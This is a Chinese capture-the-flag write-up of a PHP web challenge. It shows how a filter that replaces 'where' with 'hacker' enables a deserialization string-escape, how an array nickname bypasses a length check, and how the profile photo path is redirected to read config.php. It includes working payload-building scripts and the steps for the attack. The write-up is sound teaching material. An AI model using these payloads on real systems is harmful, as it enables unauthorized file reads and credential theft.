#源码泄露 #代码审计 #反序列化字符逃逸 #strlen长度过滤数组绕过
www.zip 得到源码
看到这里有flag ,猜测服务端docker的主机里,$flag变量应该存的就是我们要的flag。
于是,我们的目的就是读取·config.php
利用思路
这里存在 任意文件读取漏洞
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
利用file_get_contents 读取文件
控制反序列化后的 photo
后面发现 要点不是控制photo 利用反序列化把他挤下去
追踪文件读取
大纲:
profile的值为 实例化的一个user类的对象,这个对象调用show_profile方法 处理username
其中,调用了一个父类的方法 filter 处理username ,然后在show_profile里进行sql查询,返回查询结果,这个结果最终返回到 profile.php 读取photo 部分并输出
可见,我们需要利用photo部分。
怎么用?我们就要追溯 update.php了 在那里,我们看到photo 的值是一个路径 ,在哪里 利用user的update_profile 方法
所以,我们在update.php下进行注入(数据操作)
追踪 update_profile 也 用 parent::filter 方法进行replace 然后调用父类的 parent::update 方法进行数据库交互 (数据更新)
详解: 下面是上面大纲的截取的部分详解
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
利用user类的update_profile 进行filter的更新
看到在update.php 路径下 存在update对 profile 的修改
存在过滤
以下是对这段代码的逐句解释:
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
- 功能:验证用户提交的手机号是否符合11位数字的格式。
- 逻辑:
preg_match('/^\d{11}$/', $_POST['phone'])
:使用正则表达式匹配$_POST['phone']
的值。^\d{11}$
:表示从字符串开头到结尾必须是恰好11位数字。\d
:匹配任意数字字符(0-9)。{11}
:表示前面的数字字符必须出现恰好11次。
- 如果匹配失败(即手机号不符合11位数字的格式),
preg_match
返回false
,!preg_match
的结果为true
,执行die('Invalid phone')
,程序终止并输出Invalid phone
。
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
- 功能:验证用户提交的邮箱地址是否符合简单的邮箱格式规则。
- 逻辑:
preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])
:使用正则表达式匹配$_POST['email']
的值。^[_a-zA-Z0-9]{1,10}
:邮箱的本地部分(@前面的部分),允许1到10个字符,字符可以是字母(大小写)、数字或下划线。@
:邮箱地址中的@
符号。[_a-zA-Z0-9]{1,10}
:邮箱的域名部分(@后面到.
的部分),允许1到10个字符,字符可以是字母(大小写)、数字或下划线。\.
:邮箱地址中的.
符号。[_a-zA-Z0-9]{1,10}$
:邮箱的顶级域名部分(.
后面的部分),允许1到10个字符,字符可以是字母(大小写)、数字或下划线。
- 如果匹配失败(即邮箱格式不符合规则),
preg_match
返回false
,!preg_match
的结果为true
,执行die('Invalid email')
,程序终止并输出Invalid email
。
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
- 功能:验证用户提交的昵称是否只包含字母、数字或下划线,并且长度不超过10个字符。
- 逻辑:
preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname'])
:使用正则表达式检查$_POST['nickname']
中是否存在非字母、非数字、非下划线的字符。[^a-zA-Z0-9_]
:匹配任何不在a-z
、A-Z
、0-9
或_
范围内的字符。
strlen($_POST['nickname']) > 10
:检查昵称的长度是否超过10个字符。- 如果
preg_match
匹配到非法字符(返回true
),或者昵称长度超过10个字符,整个条件表达式的结果为true
,执行die('Invalid nickname')
,程序终止并输出Invalid nickname
。
总结
这段代码的作用是对用户提交的表单数据进行简单的格式验证:
- 手机号必须是11位数字。
- 邮箱地址必须符合简单的格式规则(本地部分@域名部分.顶级域名部分)。
- 昵称只能包含字母、数字或下划线,且长度不超过10个字符。
如果任何一项验证失败,程序会立即终止并输出相应的错误信息。
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
以下是对这段代码的逐句解释:
$file = $_FILES['photo'];
- 功能:获取通过HTTP POST上传的文件信息。
- 逻辑:
$_FILES['photo']
是一个关联数组,包含了用户上传文件的相关信息。'photo'
是表单中文件输入字段的名称,例如<input type="file" name="photo">
。$file
变量将存储文件的上传信息,包括临时文件名、原始文件名、文件大小、文件类型和错误信息等。
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
- 功能:验证上传文件的大小是否在允许的范围内(5字节到1MB)。
- 逻辑:
$file['size']
是上传文件的大小,以字节为单位。- 条件
$file['size'] < 5 or $file['size'] > 1000000
检查文件大小是否小于5字节或大于1MB。 - 如果条件成立(即文件大小不在允许范围内),执行
die('Photo size error')
,程序终止并输出Photo size error
。
总结
这段代码的作用是验证用户上传的文件(照片)的大小是否符合要求:
- 文件大小必须在5字节到1MB之间。
- 如果文件大小不符合要求,程序会立即终止并输出错误信息
Photo size error
。
注意事项
-
文件上传的安全性:
- 除了检查文件大小,还应该检查文件类型,确保只允许上传特定的文件类型(如图片)。
- 可以使用
$file['type']
或者更可靠的方法(如检查文件扩展名或文件头)来验证文件类型。
-
错误处理:
- 使用
die()
会直接终止脚本运行,可能不太适合用户友好的界面。可以考虑使用更友好的错误提示方式,例如将错误信息存储在变量中并重新渲染表单。
- 使用
-
文件上传的其他检查:
- 检查
$_FILES['photo']['error']
是否为UPLOAD_ERR_OK
,以确保文件上传过程中没有发生错误。 - 检查文件是否真的被上传(即是否是一个临时文件)。
- 检查
示例代码可以扩展为:
$file = $_FILES['photo'];
// 检查文件上传是否有错误
if ($file['error'] !== UPLOAD_ERR_OK) {
die('File upload error');
}
// 检查文件大小
if ($file['size'] < 5 || $file['size'] > 1000000) {
die('Photo size error');
}
// 检查文件类型
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowedTypes)) {
die('Invalid file type');
}
// 其他处理逻辑...
这样可以更全面地确保文件上传的安全性和正确性。
replace
追踪 update_profile 用 parent::filter 方法
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
- ! 到这里幡然醒悟,我们利用这里对 profile 的replace 进行反序列化
看到可利用where被替换,将有一个多出来
- $ 这里肯定不能直接对photo进行修改,那就考虑nickname入口,先试着构造下
<?php
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']='";s:5:"photo";s:10:"config.php";}';
$profile['photo']='upload/43892f297aksddn84743894a0eiek69f';
var_dump(serialize($profile));
?>
"a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/43892f297aksddn84743894a0eiek69f";}"
数组序列化与类序列化的区别
-
序列化后的格式
-
普通数组的序列化字符串以
a
开头,表示数组(array
)。 -
类的序列化字符串以
O
开头,表示对象(object
),后面跟着类名和类的属性。
-
-
反序列化后的结果
-
普通数组反序列化后是一个数组。
-
类反序列化后是一个对象,且必须在当前脚本中定义了该类,否则会抛出错误。
-
-
类的特殊行为
-
类可以定义魔术方法
__sleep()
和__wakeup()
来控制序列化和反序列化的过程。 -
__sleep()
在序列化之前被调用,可以返回一个包含对象中应被序列化的变量名称的数组。 -
__wakeup()
在反序列化之后被调用,可以用于重新初始化对象的属性。
-
超全局变量在这里实例化
我们继续:
我们要把上面那部分nickname逃逸出来
第一次过滤:
在uopdate里,存在对nickname的过滤
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
正则表达式/[^a-zA-Z0-9_]/
用于匹配任何不在指定字符集中的字符。下面是对该正则表达式各部分的详细解释:
[[正则匹配原则]]
正则表达式分解
-
/
:正则表达式的开始和结束分界符。 -
[^...]
:表示一个字符集的取反,即匹配不在方括号内的任何字符。 -
a-z
:表示所有小写字母(从a
到z
)。 -
A-Z
:表示所有大写字母(从A
到Z
)。 -
0-9
:表示所有数字(从0
到9
)。 -
_
:表示下划线字符。
匹配的字符
该正则表达式将匹配任何不在以下集合中的字符:
-
小写字母(
a
到z
) -
大写字母(
A
到Z
) -
数字(
0
到9
) -
下划线(
_
)
#strlen长度过滤数组绕过 我们用数组绕过
第二次过滤:
即上面的replace
本地调试:
我们要读config.php
"a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:11:"/config.php";}"
";s:5:“photo”;s:10:“config.php”;} 有33跟字符,所以我们需要33个·where
本地调试代码:
<?php
function filter($string){
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
$profile['photo']='upload/43892f297aksddn84743894a0eiek69f';
var_dump(filter(serialize($profile)));
?>
但看了wp ,还要把nickname数组化
<?php
function filter($string){
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$a=array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']=$a;
$profile['photo']='upload/43892f297aksddn84743894a0eiek69f';
var_dump(filter(serialize($profile)));
"a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/43892f297aksddn84743894a0eiek69f";}"
多了一个 } 所以要用34个where
解题
先注册个用户
可以看到,直接进到 update.php了
上传一个图片
抓包改name为数组
访问profile
f12
得到